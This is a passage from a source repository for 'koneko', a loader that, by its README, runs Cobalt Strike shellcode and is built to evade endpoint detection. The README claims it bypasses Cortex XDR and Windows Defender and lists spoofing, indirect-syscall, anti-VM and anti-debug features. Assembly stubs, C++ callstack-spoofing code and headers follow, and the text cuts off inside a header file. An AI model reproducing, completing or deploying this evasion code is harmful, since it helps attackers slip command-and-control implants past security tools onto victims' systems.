[
  {
    "path": "README.md",
    "content": "# koneko\nA Cobalt Strike shellcode loader with multiple advanced evasion features.\n\n![1739210063119](https://github.com/user-attachments/assets/1d3d84fc-edf1-4e1a-b754-bdb382de5f36)\n\n## Disclaimer\nDon't be evil with this. I created this tool to learn. I'm not responsible if the Feds knock on your door.\n\n----------------------------------------------------------------------------------------------------------\n\nHistorically was able to (and may still) bypass\n- Palo Alto Cortex xDR\n- Microsoft Defender for Endpoints\n- Windows Defender\n- Malwarebytes Anti-Malware\n\n![cortex](https://github.com/user-attachments/assets/340b46f1-f123-4c4a-ab57-9eabae38865e)\n\n## Features\n- Fully custom sleep implementation with thread callstack spoofing using NtCreateEvent and NtWaitForSingleObject\n- Inline hook on Sleep/SleepEx to redirect to said custom sleep implementation\n- Switching between Fiber threads to further avoid memory scanning\n- Return address spoofing on (almost?) every other API/NTAPI call\n- All the indirect syscalls!\n- Bunch of anti-VM and anti-debugger checks\n- Splitting and hiding shellcode as a bunch of x64 addresses with the EncodePointer API\n- Probably other stuff I forgot to mention here\n\n## Negatives\n- It's not a UDRL loader, these spoof tricks are limited to only the running executable and will go away when you process inject to something else.\n- The sleep obfuscation is tailored to Cobalt Strike. To work with other C2s you'd need to tailor how the hooking happens. Use a tool like `apimonitor` to intercept API calls from your beacon, detect the API(s) called on the sleep cycle, and then adjust the hooks as needed.\n"
  },
  {
    "path": "callme.asm",
    "content": ".data\r\n\r\nextern dwSSN:dword\r\nextern qwJMP:qword\r\n\r\n.code\r\n\r\nCallMe proc\r\n\tmov r10, rcx\r\n\tmov eax, dwSSN\r\n\tjmp qwJMP\r\nCallMe endp\r\n\r\nend"
  },
  {
    "path": "callr12.asm",
    "content": ".code\n\nCallR12 proc\n    ; Allocate stack space\n    sub rsp, 100h\n\n    ; Store non-volatile registers\n    mov qword ptr [rsp + 08h], rsi\n    mov qword ptr [rsp + 10h], rdi\n    mov qword ptr [rsp + 18h], r12\n\n    ; Set up registers for function and fixup handler\n    mov r10, rcx                        ; R10 now holds the function to call\n    lea r12, Fixup                      ; R12 points to Fixup label for return address\n\n    ; More stack space for arguments and spoofed return address\n    sub rsp, 200h\n\n    ; Place the gadget address as the return address\n    mov qword ptr [rsp], r8             ; Spoofed return address is now set to r12_gadget\n\n    ; Check if there are any arguments\n    cmp rdx, 0\n    je CallFunction                     ; If no arguments, jump to call the function directly\n\n    ; Backup the number of arguments in R11\n    mov r11, rdx                        ; R11 = nArgs\n\n    ; Shift arguments if necessary (move arguments into appropriate registers for calling convention)\n    cmp rdx, 4\n    mov rcx, r9                         ; First argument to RCX (from R9 if provided)\n    mov rdx, qword ptr [rsp + 300h + 28h]\n    mov r8, qword ptr [rsp + 300h + 30h]\n    mov r9, qword ptr [rsp + 300h + 38h]\n    jle CallFunction                    ; Jump if there are 4 or fewer arguments\n\n    ; Move additional arguments from stack to align with calling convention\n    mov rax, rcx\n    mov rcx, r11\n    sub rcx, 4                          ; RCX = number of extra arguments to move\n    lea rsi, [rsp + 28h + 18h + 300h]   ; Source (additional arguments in original stack frame)\n    lea rdi, [rsp + 28h]                ; Destination in stack frame\n    rep movsq                           ; Move the arguments from RSI to RDI\n\n    ; Restore RCX for function call\n    mov rcx, rax\n\nCallFunction:\n    ; Call the target function\n    jmp r10                             ; Jump to function (R10), with r12_gadget as return address\n\nFixup:\n    ; Restore non-volatile registers and stack frame\n    mov rsi, qword ptr [rsp + 200h + 08h]\n    mov rdi, qword ptr [rsp + 200h + 10h]\n    mov r12, qword ptr [rsp + 200h + 18h]\n    add rsp, 300h                       ; Clean up the stack frame\n\n    ret                                 ; Return to caller\n\nCallR12 endp\n\nend\n"
  },
  {
    "path": "callstackspoof.cpp",
    "content": "#include <includes.h>\r\n\r\n// Function to get the Exception Directory from .PDATA\r\nVOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo) {\r\n    PIMAGE_NT_HEADERS64 pImgNtHdr = (PIMAGE_NT_HEADERS64)(pExceptionInfo->hModule + ((PIMAGE_DOS_HEADER)pExceptionInfo->hModule)->e_lfanew);\r\n    PIMAGE_DATA_DIRECTORY pExcDir = &pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];\r\n\r\n    pExceptionInfo->pExceptionDirectory = pExceptionInfo->hModule + pExcDir->VirtualAddress;\r\n    pExceptionInfo->dwRuntimeFunctionCount = pExcDir->Size / sizeof(RUNTIME_FUNCTION);\r\n}\r\n\r\n// Backend function for CalculateStackSize that does all the hard work\r\nULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr) {\r\n    NTSTATUS status = STATUS_SUCCESS;\r\n    PUNWIND_INFO pUnwindInfo = NULL;\r\n    ULONG unwindOperation = 0;\r\n    ULONG operationInfo = 0;\r\n    ULONG index = 0;\r\n    ULONG frameOffset = 0;\r\n    StackFrame stackFrame = { 0 };\r\n\r\n    // Locate the correct RUNTIME_FUNCTION using Binary Search\r\n    ULONG low = 0, high = functionCount - 1;\r\n    PRUNTIME_FUNCTION pRuntimeFunction = NULL;\r\n\r\n    while (low <= high) {\r\n        ULONG mid = (low + high) / 2;\r\n        PRUNTIME_FUNCTION pMidFunction = &pRuntimeFunctionTable[mid];\r\n\r\n        if (pFuncAddr < (ImageBase + pMidFunction->BeginAddress))\r\n            high = mid - 1;\r\n        else if (pFuncAddr > (ImageBase + pMidFunction->EndAddress))\r\n            low = mid + 1;\r\n        else {\r\n            pRuntimeFunction = pMidFunction; // Found the function\r\n            break;\r\n        }\r\n    }\r\n\r\n    if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER; // Function not found\r\n\r\n    // If UnwindData is invalid, try retrieving function entry from Exception Directory\r\n    if (pRuntimeFunction->UnwindData >= 0x80000000) {\r\n        EXCEPTION_INFO excInfo = { 0 };\r\n        excInfo.hModule = ImageBase;\r\n        GetExceptionAddress(&excInfo);\r\n\r\n        // Manually search for the function in the Exception Directory\r\n        pRuntimeFunction = (PRUNTIME_FUNCTION)excInfo.pExceptionDirectory;\r\n        for (DWORD i = 0; i < excInfo.dwRuntimeFunctionCount; i++) {\r\n            if (pFuncAddr >= (ImageBase + pRuntimeFunction[i].BeginAddress) &&\r\n                pFuncAddr <= (ImageBase + pRuntimeFunction[i].EndAddress)) {\r\n                pRuntimeFunction = &pRuntimeFunction[i];\r\n                break;\r\n            }\r\n        }\r\n\r\n        // Still could not find valid entry\r\n        if (!pRuntimeFunction) return STATUS_INVALID_PARAMETER;\r\n    }\r\n\r\n    // Retrieve Unwind Information\r\n    pUnwindInfo = (PUNWIND_INFO)(ImageBase + pRuntimeFunction->UnwindData);\r\n\r\n    // Validate pUnwindInfo before using it\r\n    if (!pUnwindInfo || (DWORD64)pUnwindInfo < ImageBase || (DWORD64)pUnwindInfo > ImageBase + 0xFFFFFF) {\r\n        return STATUS_INVALID_PARAMETER; // Invalid pUnwindInfo\r\n    }\r\n\r\n    while (index < pUnwindInfo->CountOfCodes) {\r\n        unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;\r\n        operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;\r\n\r\n        // Calculate Stack Size Based on Unwind Codes\r\n        switch (unwindOperation) {\r\n        case UWOP_PUSH_NONVOL:\r\n            if (operationInfo == 4)\r\n                return STATUS_INVALID_PARAMETER;\r\n            stackFrame.totalStackSize += 8;\r\n            break;\r\n        case UWOP_ALLOC_SMALL:\r\n            stackFrame.totalStackSize += ((operationInfo * 8) + 8);\r\n            break;\r\n        case UWOP_ALLOC_LARGE:\r\n            index++;\r\n            if (index >= pUnwindInfo->CountOfCodes)\r\n                return 0x100; // Default safe size\r\n\r\n            frameOffset = (operationInfo == 0)\r\n                ? pUnwindInfo->UnwindCode[index].FrameOffset * 8\r\n                : (pUnwindInfo->UnwindCode[index].FrameOffset + (pUnwindInfo->UnwindCode[++index].FrameOffset << 16));\r\n\r\n            if (frameOffset > 0x10000)\r\n                return 0x100; // Default safe size\r\n\r\n            stackFrame.totalStackSize += frameOffset;\r\n            break;\r\n        case UWOP_PUSH_MACHFRAME:\r\n            stackFrame.totalStackSize += (operationInfo == 0) ? 40 : 48;\r\n            break;\r\n        case UWOP_SAVE_NONVOL:\r\n            index++;  // Skip next entry\r\n            break;\r\n        case UWOP_SAVE_NONVOL_FAR:\r\n            index += 2;  // Skip two entries\r\n            break;\r\n        default:\r\n            return 0x100; // Default safe size\r\n        }\r\n        index++;\r\n    }\r\n\r\n    // Include Return Address Size\r\n    stackFrame.totalStackSize += 8;\r\n\r\n    //printf(\"Stack size calculated: %u\\n\", stackFrame.totalStackSize);\r\n    return stackFrame.totalStackSize;\r\n}\r\n\r\n// Wrapper function for CalculateStackSizeBackend\r\nULONG CalculateStackSize(PVOID ReturnAddress) {\r\n    if (!ReturnAddress)\r\n        return STATUS_INVALID_PARAMETER;\r\n\r\n    PRUNTIME_FUNCTION pRuntimeFunctionTable = NULL;\r\n    DWORD64 ImageBase = 0;\r\n    ULONG functionCount = 0;\r\n    PUNWIND_HISTORY_TABLE pHistoryTable = NULL;\r\n\r\n    // Locate RUNTIME_FUNCTION for given Function\r\n    pRuntimeFunctionTable = RtlLookupFunctionEntry((DWORD64)ReturnAddress, &ImageBase, pHistoryTable);\r\n    if (!pRuntimeFunctionTable) return STATUS_ASSERTION_FAILURE;\r\n\r\n    // Find the number of runtime function entries\r\n    PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);\r\n    PIMAGE_DATA_DIRECTORY pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];\r\n    functionCount = pDataDir->Size / sizeof(RUNTIME_FUNCTION);\r\n\r\n    // Calculate the total stack size for the function we are \"returning\" to\r\n    return CalculateStackSizeBackend(pRuntimeFunctionTable, functionCount, ImageBase, (DWORD64)ReturnAddress);\r\n}"
  },
  {
    "path": "headers/callstackspoof.h",
    "content": "#pragma once\r\n\r\n#ifndef CALLSTACKSPOOF_H\r\n#define CALLSTACKSPOOF_H\r\n\r\n// Function to get the Exception Directory from .PDATA\r\nVOID GetExceptionAddress(PEXCEPTION_INFO pExceptionInfo);\r\n\r\n// Backend function that does all the hard work\r\nULONG CalculateStackSizeBackend(PRUNTIME_FUNCTION pRuntimeFunctionTable, ULONG functionCount, DWORD64 ImageBase, DWORD64 pFuncAddr);\r\n\r\n// Wrapper function for CalculateStackSizeBackend\r\nULONG CalculateStackSize(PVOID ReturnAddress);\r\n\r\n#endif"
  },
  {
    "path": "headers/definitions.h",
    "content": "#pragma once\r\n\r\n#ifndef DEFINITIONS_H\r\n#define DEFINITIONS_H\r\n\r\n#define WIN32_LEAN_AND_MEAN\r\n#define NO_MIN_MAX\r\n\r\n#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)\r\n#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)\r\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= STATUS_SUCCESS)\r\n\r\n#define NTAPI_FUNCTION EXTERN_C NTSTATUS NTAPI\r\n#define RTL_CONSTANT_STRING(s) { sizeof((s)) - sizeof((s)[0]), sizeof((s)), (PWCH)(s) }\r\n\r\n#define InitializeObjectAttributes(p, n, a, r, s) \\\r\n    do { \\\r\n        (p)->Length = sizeof(OBJECT_ATTRIBUTES); \\\r\n        (p)->RootDirectory = (r); \\\r\n        (p)->Attributes = (a); \\\r\n        (p)->ObjectName = (n); \\\r\n        (p)->SecurityDescriptor = (s); \\\r\n        (p)->SecurityQualityOfService = nullptr; \\\r\n    } while (0)\r\n\r\n#define RtlInitUnicodeString(DestinationString, SourceString) \\\r\n    do { \\\r\n        if ((SourceString) == nullptr) { \\\r\n            (DestinationString)->Length = 0; \\\r\n            (DestinationString)->MaximumLength = 0; \\\r\n            (DestinationString)->Buffer = nullptr; \\\r\n        } else { \\\r\n            size_t size = wcslen(SourceString) * sizeof(WCHAR); \\\r\n            (DestinationString)->Length = static_cast<USHORT>(size); \\\r\n            (DestinationString)->MaximumLength = static_cast<USHORT>(size + sizeof(WCHAR)); \\\r\n            (DestinationString)->Buffer = const_cast<PWSTR>(SourceString); \\\r\n        } \\\r\n    } while (0)\r\n\r\n#define NEW_STREAM\tL\":%x%x\\x00\"\r\n#define PROCESSOR_FEATURE_MAX 64\r\n#define KUSER_SHARED_DATA_ADDRESS 0x7FFE0000\r\n\r\n#endif"
  },
  {
    "path": "headers/enums.h",
    "content": "#pragma once\r\n\r\n#ifndef ENUMS_H\r\n#define ENUMS_H\r\n\r\ntypedef enum _UNWIND_OP_CODES {\r\n    UWOP_PUSH_NONVOL = 0, /* info == register number */\r\n    UWOP_ALLOC_LARGE,     /* no info, alloc size in next 2 slots */\r\n    UWOP_ALLOC_SMALL,     /* info == size of allocation / 8 - 1 */\r\n    UWOP_SET_FPREG,       /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */\r\n    UWOP_SAVE_NONVOL,     /* info == register number, offset in next slot */\r\n    UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */\r\n    UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */\r\n    UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */\r\n    UWOP_PUSH_MACHFRAME   /* info == 0: no error-code, 1: error-code */\r\n} UNWIND_CODE_OPS;\r\n\r\ntypedef enum _FILE_INFO_CLASS\r\n{\r\n    //FileDirectoryInformation, // q: FILE_DIRECTORY_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileFullDirectoryInformation = 2, // q: FILE_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileBothDirectoryInformation, // q: FILE_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileBasicInformation, // q; s: FILE_BASIC_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)\r\n    FileStandardInformation, // q: FILE_STANDARD_INFORMATION, FILE_STANDARD_INFORMATION_EX\r\n    FileInternalInformation, // q: FILE_INTERNAL_INFORMATION\r\n    FileEaInformation, // q: FILE_EA_INFORMATION\r\n    FileAccessInformation, // q: FILE_ACCESS_INFORMATION\r\n    FileNameInformation, // q: FILE_NAME_INFORMATION\r\n    FileRenameInformation, // s: FILE_RENAME_INFORMATION (requires DELETE) // 10\r\n    FileLinkInformation, // s: FILE_LINK_INFORMATION\r\n    FileNamesInformation, // q: FILE_NAMES_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileDispositionInformation, // s: FILE_DISPOSITION_INFORMATION (requires DELETE)\r\n    FilePositionInformation, // q; s: FILE_POSITION_INFORMATION\r\n    FileFullEaInformation, // FILE_FULL_EA_INFORMATION\r\n    FileModeInformation, // q; s: FILE_MODE_INFORMATION\r\n    FileAlignmentInformation, // q: FILE_ALIGNMENT_INFORMATION\r\n    FileAllInformation, // q: FILE_ALL_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileAllocationInformation, // s: FILE_ALLOCATION_INFORMATION (requires FILE_WRITE_DATA)\r\n    FileEndOfFileInformation, // s: FILE_END_OF_FILE_INFORMATION (requires FILE_WRITE_DATA) // 20\r\n    FileAlternateNameInformation, // q: FILE_NAME_INFORMATION\r\n    FileStreamInformation, // q: FILE_STREAM_INFORMATION\r\n    FilePipeInformation, // q; s: FILE_PIPE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)\r\n    FilePipeLocalInformation, // q: FILE_PIPE_LOCAL_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FilePipeRemoteInformation, // q; s: FILE_PIPE_REMOTE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)\r\n    FileMailslotQueryInformation, // q: FILE_MAILSLOT_QUERY_INFORMATION\r\n    FileMailslotSetInformation, // s: FILE_MAILSLOT_SET_INFORMATION\r\n    FileCompressionInformation, // q: FILE_COMPRESSION_INFORMATION\r\n    FileObjectIdInformation, // q: FILE_OBJECTID_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileCompletionInformation, // s: FILE_COMPLETION_INFORMATION // 30\r\n    FileMoveClusterInformation, // s: FILE_MOVE_CLUSTER_INFORMATION (requires FILE_WRITE_DATA)\r\n    FileQuotaInformation, // q: FILE_QUOTA_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileReparsePointInformation, // q: FILE_REPARSE_POINT_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileNetworkOpenInformation, // q: FILE_NETWORK_OPEN_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileAttributeTagInformation, // q: FILE_ATTRIBUTE_TAG_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileTrackingInformation, // s: FILE_TRACKING_INFORMATION (requires FILE_WRITE_DATA)\r\n    FileIdBothDirectoryInformation, // q: FILE_ID_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileIdFullDirectoryInformation, // q: FILE_ID_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex])\r\n    FileValidDataLengthInformation, // s: FILE_VALID_DATA_LENGTH_INFORMATION (requires FILE_WRITE_DATA and/or SeManageVolumePrivilege)\r\n    FileShortNameInformation, // s: FILE_NAME_INFORMATION (requires DELETE) // 40\r\n    FileIoCompletionNotificationInformation, // q; s: FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (q: requires FILE_READ_ATTRIBUTES) // since VISTA\r\n    FileIoStatusBlockRangeInformation, // s: FILE_IOSTATUSBLOCK_RANGE_INFORMATION (requires SeLockMemoryPrivilege)\r\n    FileIoPriorityHintInformation, // q; s: FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX (q: requires FILE_READ_DATA)\r\n    FileSfioReserveInformation, // q; s: FILE_SFIO_RESERVE_INFORMATION (q: requires FILE_READ_DATA)\r\n    FileSfioVolumeInformation, // q: FILE_SFIO_VOLUME_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileHardLinkInformation, // q: FILE_LINKS_INFORMATION\r\n    FileProcessIdsUsingFileInformation, // q: FILE_PROCESS_IDS_USING_FILE_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileNormalizedNameInformation, // q: FILE_NAME_INFORMATION\r\n    FileNetworkPhysicalNameInformation, // q: FILE_NETWORK_PHYSICAL_NAME_INFORMATION\r\n    FileIdGlobalTxDirectoryInformation, // q: FILE_ID_GLOBAL_TX_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since WIN7 // 50\r\n    FileIsRemoteDeviceInformation, // q: FILE_IS_REMOTE_DEVICE_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileUnusedInformation,\r\n    FileNumaNodeInformation, // q: FILE_NUMA_NODE_INFORMATION\r\n    FileStandardLinkInformation, // q: FILE_STANDARD_LINK_INFORMATION\r\n    FileRemoteProtocolInformation, // q: FILE_REMOTE_PROTOCOL_INFORMATION\r\n    FileRenameInformationBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION // since WIN8\r\n    FileLinkInformationBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION\r\n    FileVolumeNameInformation, // q: FILE_VOLUME_NAME_INFORMATION\r\n    FileIdInformation, // q: FILE_ID_INFORMATION\r\n    FileIdExtdDirectoryInformation, // q: FILE_ID_EXTD_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // 60\r\n    FileReplaceCompletionInformation, // s: FILE_COMPLETION_INFORMATION // since WINBLUE\r\n    FileHardLinkFullIdInformation, // q: FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION\r\n    FileIdExtdBothDirectoryInformation, // q: FILE_ID_EXTD_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since THRESHOLD\r\n    FileDispositionInformationEx, // s: FILE_DISPOSITION_INFO_EX (requires DELETE) // since REDSTONE\r\n    FileRenameInformationEx, // s: FILE_RENAME_INFORMATION_EX\r\n    FileRenameInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION_EX\r\n    FileDesiredStorageClassInformation, // q; s: FILE_DESIRED_STORAGE_CLASS_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since REDSTONE2\r\n    FileStatInformation, // q: FILE_STAT_INFORMATION (requires FILE_READ_ATTRIBUTES)\r\n    FileMemoryPartitionInformation, // s: FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3\r\n    FileStatLxInformation, // q: FILE_STAT_LX_INFORMATION (requires FILE_READ_ATTRIBUTES and FILE_READ_EA) // since REDSTONE4 // 70\r\n    FileCaseSensitiveInformation, // q; s: FILE_CASE_SENSITIVE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)\r\n    FileLinkInformationEx, // s: FILE_LINK_INFORMATION_EX // since REDSTONE5\r\n    FileLinkInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION_EX\r\n    FileStorageReserveIdInformation, // q; s: FILE_STORAGE_RESERVE_ID_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES)\r\n    FileCaseSensitiveInformationForceAccessCheck, // q; s: FILE_CASE_SENSITIVE_INFORMATION\r\n    FileKnownFolderInformation, // q; s: FILE_KNOWN_FOLDER_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since WIN11\r\n    FileStatBasicInformation, // since 23H2\r\n    FileId64ExtdDirectoryInformation, // FILE_ID_64_EXTD_DIR_INFORMATION\r\n    FileId64ExtdBothDirectoryInformation, // FILE_ID_64_EXTD_BOTH_DIR_INFORMATION\r\n    FileIdAllExtdDirectoryInformation, // FILE_ID_ALL_EXTD_DIR_INFORMATION\r\n    FileIdAllExtdBothDirectoryInformation, // FILE_ID_ALL_EXTD_BOTH_DIR_INFORMATION\r\n    FileStreamReservationInformation, // FILE_STREAM_RESERVATION_INFORMATION // since 24H2\r\n    FileMupProviderInfo, // MUP_PROVIDER_INFORMATION\r\n    FileMaximumInformation\r\n} FILE_INFO_CLASS, * PFILE_INFO_CLASS;\r\n\r\n\r\ntypedef enum _NT_PRODUCT_TYPE {\r\n    NtProductWinNt = 1,\r\n    NtProductLanManNt,\r\n    NtProductServer\r\n} NT_PRODUCT_TYPE,\r\n* PNT_PRODUCT_TYPE;\r\n\r\ntypedef enum _ALTERNATIVE_ARCHITECTURE_TYPE {\r\n    StandardDesign,\r\n    NEC98x86,\r\n    EndAlternatives\r\n} ALTERNATIVE_ARCHITECTURE_TYPE;\r\n\r\n\r\n#endif"
  },
  {
    "path": "headers/includes.h",
    "content": "#pragma once\r\n\r\n#ifndef INCLUDES_H\r\n#define INCLUDES_H\r\n\r\n#include <iostream>\r\n#include <iomanip>\r\n#include <vector>\r\n#include <functional>\r\n#include <map>\r\n#include <random>\r\n#include <string>\r\n\r\n#include <windows.h>\r\n#include <ntstatus.h>\r\n#include <winternl.h>\r\n#include <intrin.h>\r\n#include <definitions.h>\r\n#include <enums.h>\r\n#include <structs.h>\r\n#include <syscalls.h>\r\n#include <callstackspoof.h>\r\n#include <sleep.h>\r\n\r\n#endif"
  },
  {
    "path": "headers/sleep.h",
    "content": "#pragma once\n\n#ifndef SLEEP_H\n#define SLEEP_H\n\nEXTERN_C DWORD dwSSN;\nEXTERN_C PVOID qwJMP;\nEXTERN_C PVOID NTAPI Spoof(PVOID a, ...);\nEXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);\nNTAPI_FUNCTION CallMe();\n\nextern PBYTE hNtdll, hKernel32;\nextern std::vector<PVOID> callR12gadgets;\nextern PVOID gadget;\nextern NTSTATUS status;\n\n// Check if process sleeptime is being fastforwarded\nBOOL FiveHourEnergy();\n\n// Sleeping without calling Sleep()\nVOID ImNotSleepingIPromise(DWORD milliseconds);\n\n// Hook Sleep and SleepEx\nVOID ReSleep();\n\nextern SyscallEntry NtCreateEvent;\nextern SyscallEntry sysNtWaitForSingleObject;\n\nextern LPVOID mainFiber;\nextern LPVOID benignFiber;\nextern LPVOID shellcodeFiber;\n\n#endif\n"
  },
  {
    "path": "headers/structs.h",
    "content": "#pragma once\r\n\r\n#ifndef STRUCTS_H\r\n#define STRUCTS_H\r\n\r\ntypedef struct SyscallEntry {\r\n    INT SSN;\r\n    PVOID Address;\r\n    PVOID Syscall;\r\n};\r\n\r\n//0x18 bytes (sizeof)\r\nstruct _RTL_BALANCED_NODE {\r\n    union\r\n    {\r\n        struct _RTL_BALANCED_NODE* Children[2];                             //0x0\r\n        struct\r\n        {\r\n            struct _RTL_BALANCED_NODE* Left;                                //0x0\r\n            struct _RTL_BALANCED_NODE* Right;                               //0x8\r\n        };\r\n    };\r\n    union\r\n    {\r\n        struct\r\n        {\r\n            UCHAR Red : 1;                                                    //0x10\r\n            UCHAR Balance : 2;                                                //0x10\r\n        };\r\n        ULONGLONG ParentValue;                                              //0x10\r\n    };\r\n};\r\n\r\n//0x138 bytes (sizeof)\r\ntypedef struct _LDR_DATA_TABLE_ENTRY_MODIFIED {\r\n    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0\r\n    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x10\r\n    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x20\r\n    PVOID DllBase;                                                          //0x30\r\n    PVOID EntryPoint;                                                       //0x38\r\n    ULONG SizeOfImage;                                                      //0x40\r\n    struct _UNICODE_STRING FullDllName;                                     //0x48\r\n    struct _UNICODE_STRING BaseDllName;                                     //0x58\r\n    union\r\n    {\r\n        UCHAR FlagGroup[4];                                                 //0x68\r\n        ULONG Flags;                                                        //0x68\r\n        struct\r\n        {\r\n            ULONG PackagedBinary : 1;                                         //0x68\r\n            ULONG MarkedForRemoval : 1;                                       //0x68\r\n            ULONG ImageDll : 1;                                               //0x68\r\n            ULONG LoadNotificationsSent : 1;                                  //0x68\r\n            ULONG TelemetryEntryProcessed : 1;                                //0x68\r\n            ULONG ProcessStaticImport : 1;                                    //0x68\r\n            ULONG InLegacyLists : 1;                                          //0x68\r\n            ULONG InIndexes : 1;                                              //0x68\r\n            ULONG ShimDll : 1;                                                //0x68\r\n            ULONG InExceptionTable : 1;                                       //0x68\r\n            ULONG ReservedFlags1 : 2;                                         //0x68\r\n            ULONG LoadInProgress : 1;                                         //0x68\r\n            ULONG LoadConfigProcessed : 1;                                    //0x68\r\n            ULONG EntryProcessed : 1;                                         //0x68\r\n            ULONG ProtectDelayLoad : 1;                                       //0x68\r\n            ULONG ReservedFlags3 : 2;                                         //0x68\r\n            ULONG DontCallForThreads : 1;                                     //0x68\r\n            ULONG ProcessAttachCalled : 1;                                    //0x68\r\n            ULONG ProcessAttachFailed : 1;                                    //0x68\r\n            ULONG CorDeferredValidate : 1;                                    //0x68\r\n            ULONG CorImage : 1;                                               //0x68\r\n            ULONG DontRelocate : 1;                                           //0x68\r\n            ULONG CorILOnly : 1;                                              //0x68\r\n            ULONG ChpeImage : 1;                                              //0x68\r\n            ULONG ChpeEmulatorImage : 1;                                      //0x68\r\n            ULONG ReservedFlags5 : 1;                                         //0x68\r\n            ULONG Redirected : 1;                                             //0x68\r\n            ULONG ReservedFlags6 : 2;                                         //0x68\r\n            ULONG CompatDatabaseProcessed : 1;                                //0x68\r\n        };\r\n    };\r\n    USHORT ObsoleteLoadCount;                                               //0x6c\r\n    USHORT TlsIndex;                                                        //0x6e\r\n    struct _LIST_ENTRY HashLinks;                                           //0x70\r\n    ULONG TimeDateStamp;                                                    //0x80\r\n    struct _ACTIVATION_CONTEXT* EntryPointActivationContext;                //0x88\r\n    PVOID Lock;                                                             //0x90\r\n    struct _LDR_DDAG_NODE* DdagNode;                                        //0x98\r\n    struct _LIST_ENTRY NodeModuleLink;                                      //0xa0\r\n    struct _LDRP_LOAD_CONTEXT* LoadContext;                                 //0xb0\r\n    PVOID ParentDllBase;                                                    //0xb8\r\n    PVOID SwitchBackContext;                                                //0xc0\r\n    struct _RTL_BALANCED_NODE BaseAddressIndexNode;                         //0xc8\r\n    struct _RTL_BALANCED_NODE MappingInfoIndexNode;                         //0xe0\r\n    ULONGLONG OriginalBase;                                                 //0xf8\r\n    union _LARGE_INTEGER LoadTime;                                          //0x100\r\n    ULONG BaseNameHashValue;                                                //0x108\r\n    enum _LDR_DLL_LOAD_REASON LoadReason;                                   //0x10c\r\n    ULONG ImplicitPathOptions;                                              //0x110\r\n    ULONG ReferenceCount;                                                   //0x114\r\n    ULONG DependentLoadFlags;                                               //0x118\r\n    UCHAR SigningLevel;                                                     //0x11c\r\n    ULONG CheckSum;                                                         //0x120\r\n    PVOID ActivePatchImageBase;                                             //0x128\r\n    enum _LDR_HOT_PATCH_STATE HotPatchState;                                //0x130\r\n} LDR_DATA_TABLE_ENTRY_MODIFIED,\r\n* 